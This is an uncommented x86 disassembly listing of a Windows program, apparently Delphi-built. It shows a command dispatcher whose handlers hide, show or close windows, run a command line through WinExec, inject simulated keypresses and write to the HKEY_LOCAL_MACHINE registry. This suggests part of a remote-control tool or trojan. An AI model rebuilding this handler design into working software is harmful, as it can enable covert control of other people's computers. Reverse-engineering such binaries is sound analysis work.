call sub.gdi32.dll_SetBkMode
lea ecx, [ebp - 0x8900]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x8900]
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0xc]
call fcn.0041fd84
lea ecx, [ebp - 0x8904]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8904]
call fcn.00409244
mov edx, eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0xc]
call fcn.0041fdfc
lea ecx, [ebp - 0x8908]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 5
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8908]
call fcn.00409244
mov edx, eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0xc]
call fcn.0041fb5c
lea ecx, [ebp - 0x890c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x890c]
push eax
lea ecx, [ebp - 0x8910]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 7
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8910]
call fcn.00409244
push eax
lea ecx, [ebp - 0x8914]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 6
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8914]
call fcn.00409244
mov edx, eax
mov eax, dword [ebp - 0x38]
pop ecx
call fcn.00420844
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x495c59
mov eax, dword [ebp - 0x38]
call fcn.00403d58
ret
lea ecx, [ebp - 0x8918]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8918]
mov edx, 0x496cac
call fcn.00404f38
jne 0x495cf2
xor eax, eax
push ebp
push 0x495cdb
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x30]
call fcn.0045d2ac
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496cb8
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x495ce5
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x891c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x891c]
mov edx, 0x496cc4
call fcn.00404f38
jne 0x495ed8
xor eax, eax
push ebp
push 0x495ec1
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8920]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8920]
call fcn.00409244
cmp eax, 7
ja case.0x495d54.0
jmp dword [eax*4 + 0x495d5b]
push 0
lea ecx, [ebp - 0x8924]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8924]
call fcn.00409244
push eax
call sub.user32.dll_ShowWindow
jmp case.0x495d54.0
push 5
lea ecx, [ebp - 0x8928]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8928]
call fcn.00409244
push eax
call sub.user32.dll_ShowWindow
jmp case.0x495d54.0
push 0
xor edx, edx
mov ax, 0xf060
call fcn.00407a3c
push eax
push 0x112
lea ecx, [ebp - 0x892c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x892c]
call fcn.00409244
push eax
call sub.user32.dll_PostMessageA
jmp case.0x495d54.0
push 6
lea ecx, [ebp - 0x8930]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8930]
call fcn.00409244
push eax
call sub.user32.dll_ShowWindow
jmp case.0x495d54.0
push 3
lea ecx, [ebp - 0x8934]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8934]
call fcn.00409244
push eax
call sub.user32.dll_ShowWindow
jmp case.0x495d54.0
push 9
lea ecx, [ebp - 0x8938]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8938]
call fcn.00409244
push eax
call sub.user32.dll_ShowWindow
jmp case.0x495d54.0
lea ecx, [ebp - 0x893c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x893c]
call fcn.00409244
push eax
call sub.user32.dll_BringWindowToTop
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x495ecb
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x8940]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8940]
mov edx, 0x496cd0
call fcn.00404f38
jne 0x496118
xor eax, eax
push ebp
push 0x496101
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x87dc]
mov edx, dword [0x4a0608]
mov edx, dword [edx]
call fcn.00403858
lea eax, [ebp - 0x87dc]
mov edx, 0x496c0c
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.004031fc
jne 0x496048
lea eax, [ebp - 0x8948]
mov edx, dword [0x4a0310]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x8948]
call fcn.00409244
lea edx, [ebp - 0x8944]
call fcn.00459248
lea eax, [ebp - 0x8944]
push eax
lea eax, [ebp - 0x894c]
mov edx, dword [0x4a06f0]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x894c]
pop eax
call fcn.00404df4
mov eax, dword [ebp - 0x8944]
call fcn.00409668
test al, al
je 0x496048
lea ecx, [ebp - 0x8954]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8954]
call fcn.00404fec
mov edx, eax
lea eax, [ebp - 0x8950]
call fcn.00404d24
mov eax, dword [ebp - 0x8950]
push eax
lea eax, [ebp - 0x8960]
mov edx, dword [0x4a0310]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x8960]
call fcn.00409244
lea edx, [ebp - 0x895c]
call fcn.00459248
lea eax, [ebp - 0x895c]
push eax
lea eax, [ebp - 0x8964]
mov edx, dword [0x4a06f0]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x8964]
pop eax
call fcn.00404df4
mov eax, dword [ebp - 0x895c]
call fcn.00404fec
mov edx, eax
lea eax, [ebp - 0x8958]
call fcn.00404d24
mov eax, dword [ebp - 0x8958]
pop edx
call fcn.00458da8
lea eax, [ebp - 0x87dc]
mov edx, dword [0x4a0608]
mov edx, dword [edx]
call fcn.00403858
lea eax, [ebp - 0x87dc]
mov edx, 0x496c10
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.004031fc
jne 0x4960d7
lea ecx, [ebp - 0x896c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x896c]
call fcn.00404fec
mov edx, eax
lea eax, [ebp - 0x8968]
call fcn.00404d24
mov eax, dword [ebp - 0x8968]
push eax
lea edx, [ebp - 0x8974]
xor eax, eax
call fcn.00402b64
mov eax, dword [ebp - 0x8974]
call fcn.00404fec
mov edx, eax
lea eax, [ebp - 0x8970]
call fcn.00404d24
mov eax, dword [ebp - 0x8970]
pop edx
call fcn.00458da8
lea ecx, [ebp - 0x8978]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8978]
call fcn.004584f4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49610b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x897c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x897c]
mov edx, 0x496cdc
call fcn.00404f38
jne 0x496487
lea ecx, [ebp - 0x8980]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 5
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8980]
mov edx, 0x496ce8
call fcn.00404f38
jne 0x4961d3
xor eax, eax
push ebp
push 0x4961c9
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8984]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 6
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8984]
push eax
push 0
push 1
lea ecx, [ebp - 0x8988]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 7
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0x8988]
mov dl, 1
mov eax, dword [0x48b86c]
call fcn.0048b8ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4961d3
lea ecx, [ebp - 0x898c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x898c]
mov edx, 0x496ce8
call fcn.00404f38
jne 0x496314
xor eax, eax
push ebp
push 0x496234
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x8990]
mov edx, dword [0x4a0134]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x8990]
call fcn.0045c9e4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49623e
push 0x3e8
call sub.kernel32.dll_Sleep_1
xor eax, eax
push ebp
push 0x49630a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x8994]
mov edx, dword [0x4a06d4]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x8994]
push eax
lea eax, [ebp - 0x899c]
mov edx, dword [0x4a0310]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x899c]
call fcn.00409244
lea edx, [ebp - 0x8998]
call fcn.00459248
lea eax, [ebp - 0x8998]
push eax
lea eax, [ebp - 0x89a0]
mov edx, dword [0x4a06f0]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x89a0]
pop eax
call fcn.00404df4
mov eax, dword [ebp - 0x8998]
push eax
lea eax, [ebp - 0x89a4]
mov edx, dword [0x4a0568]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x89a4]
push eax
lea eax, [ebp - 0x89a8]
mov edx, dword [0x4a0134]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x89a8]
pop edx
pop ecx
call fcn.0045c87c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496314
lea ecx, [ebp - 0x89ac]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x89ac]
mov edx, 0x496ce8
call fcn.00404f38
jne 0x49642c
xor eax, eax
push ebp
push 0x496422
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x496cf4
lea eax, [ebp - 0x89b8]
mov edx, dword [0x4a0310]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x89b8]
call fcn.00409244
lea edx, [ebp - 0x89b4]
call fcn.00459248
push dword [ebp - 0x89b4]
lea eax, [ebp - 0x89bc]
mov edx, dword [0x4a06f0]
mov edx, dword [edx]
call fcn.00404d24
push dword [ebp - 0x89bc]
push 0x496cf4
lea eax, [ebp - 0x89b0]
mov edx, 4
call fcn.00404eac
mov eax, dword [ebp - 0x89b0]
call fcn.00404fec
push eax
lea eax, [ebp - 0x89c4]
mov edx, dword [0x4a06f0]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x89c4]
lea ecx, [ebp - 0x89c0]
xor edx, edx
call fcn.0040995c
mov eax, dword [ebp - 0x89c0]
call fcn.00404fec
push eax
lea ecx, [ebp - 0x89c8]
mov dx, 0x2d
mov ax, 0x321
call fcn.0048e358
mov eax, dword [ebp - 0x89c8]
call fcn.00404fec
mov edx, eax
mov eax, 0x80000002
pop ecx
call fcn.00458880
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49642c
lea ecx, [ebp - 0x89cc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x89cc]
mov edx, 0x496ce8
call fcn.00404f38
jne 0x49647a
xor eax, eax
push ebp
push 0x496470
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0048e640
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49647a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x89d0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x89d0]
mov edx, 0x496d00
call fcn.00404f38
jne 0x4964ff
xor eax, eax
push ebp
push 0x4964e8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x30]
call fcn.0045c33c
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496d0c
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4964f2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x89d4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x89d4]
mov edx, 0x496d18
call fcn.00404f38
jne 0x49663f
xor eax, eax
push ebp
push 0x496628
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x89d8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
cmp dword [ebp - 0x89d8], 0
je 0x49661e
push 0
lea ecx, [ebp - 0x89e0]
mov dx, 8
mov ax, 0x34e
call fcn.0048e358
push dword [ebp - 0x89e0]
lea ecx, [ebp - 0x89e4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
push dword [ebp - 0x89e4]
push 0x496cf4
lea eax, [ebp - 0x89dc]
mov edx, 3
call fcn.00404eac
mov eax, dword [ebp - 0x89dc]
call fcn.00404fec
push eax
call sub.kernel32.dll_WinExec
push 0x3e8
call sub.kernel32.dll_Sleep_1
push 0
push 0
push 0
push 0x25
call sub.user32.dll_MapVirtualKeyA
push eax
push 0x25
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x25
call sub.user32.dll_MapVirtualKeyA
push eax
push 0x25
call sub.user32.dll_keybd_event
push 0x3e8
call sub.kernel32.dll_Sleep_1
push 0
push 0
push 0
push 0xd
call sub.user32.dll_MapVirtualKeyA
push eax
push 0xd
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0xd
call sub.user32.dll_MapVirtualKeyA
push eax
push 0xd
call sub.user32.dll_keybd_event
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496632
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x89e8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x89e8]
mov edx, 0x496d24
call fcn.00404f38
jne 0x4967e0
xor eax, eax
push ebp
push 0x4967cc
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x89f0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x89f0]
lea edx, [ebp - 0x89ec]
call fcn.00408d54
mov eax, dword [ebp - 0x89ec]
push eax
lea eax, [ebp - 0x89f8]
call fcn.0045d318
mov eax, dword [ebp - 0x89f8]
lea edx, [ebp - 0x89f4]
call fcn.00408d54
mov edx, dword [ebp - 0x89f4]
pop eax
call fcn.00405130
test eax, eax
jle 0x4967c2
lea eax, [ebp - 0x8a00]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x8a00]
lea ecx, [ebp - 0x89fc]
mov eax, 0x496920
call fcn.0045839c
lea eax, [ebp - 0x89fc]
mov edx, 0x4968fc
call fcn.00404df4
mov edx, dword [ebp - 0x89fc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x300]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea ecx, [ebp - 0x8a04]
mov dx, 4
mov ax, 0x356
call fcn.0048e358
push dword [ebp - 0x8a04]
lea edx, [ebp - 0x8a08]
mov eax, dword [0x4a6a0c]
call fcn.004090d8
push dword [ebp - 0x8a08]
lea ecx, [ebp - 0x8a0c]
mov dx, 5
mov ax, 0x35a
call fcn.0048e358
push dword [ebp - 0x8a0c]
lea eax, [ebp - 0x30]
mov edx, 3
call fcn.00404eac
lea eax, [ebp - 0x8a14]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x8a14]
lea ecx, [ebp - 0x8a10]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
lea eax, [ebp - 0x8a10]
mov edx, 0x4968fc
call fcn.00404df4
mov edx, dword [ebp - 0x8a10]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x300]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4967d6
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x8a18]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8a18]
mov edx, 0x496d30
call fcn.00404f38
jne 0x49680f
mov eax, dword [ebp - 4]
call fcn.00499688
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4968bb
lea eax, [ebp - 0x8a18]
mov edx, 0x64
call fcn.00404b50
lea eax, [ebp - 0x8888]
mov edx, 0x2b
call fcn.00404b50
lea eax, [ebp - 0x86dc]
mov edx, 0x39
call fcn.00404b50
lea eax, [ebp - 0x85f8]
mov edx, 0x63
call fcn.00404b50
lea eax, [ebp - 0x8468]
call fcn.00404b2c
lea eax, [ebp - 0x846c]
call fcn.00404b2c
lea eax, [ebp - 0x8464]
mov edx, 0x45
call fcn.00404b50
lea eax, [ebp - 0x34]
mov edx, 3
call fcn.00404b50
lea eax, [ebp - 0x20]
mov edx, 3
call fcn.00404b50
ret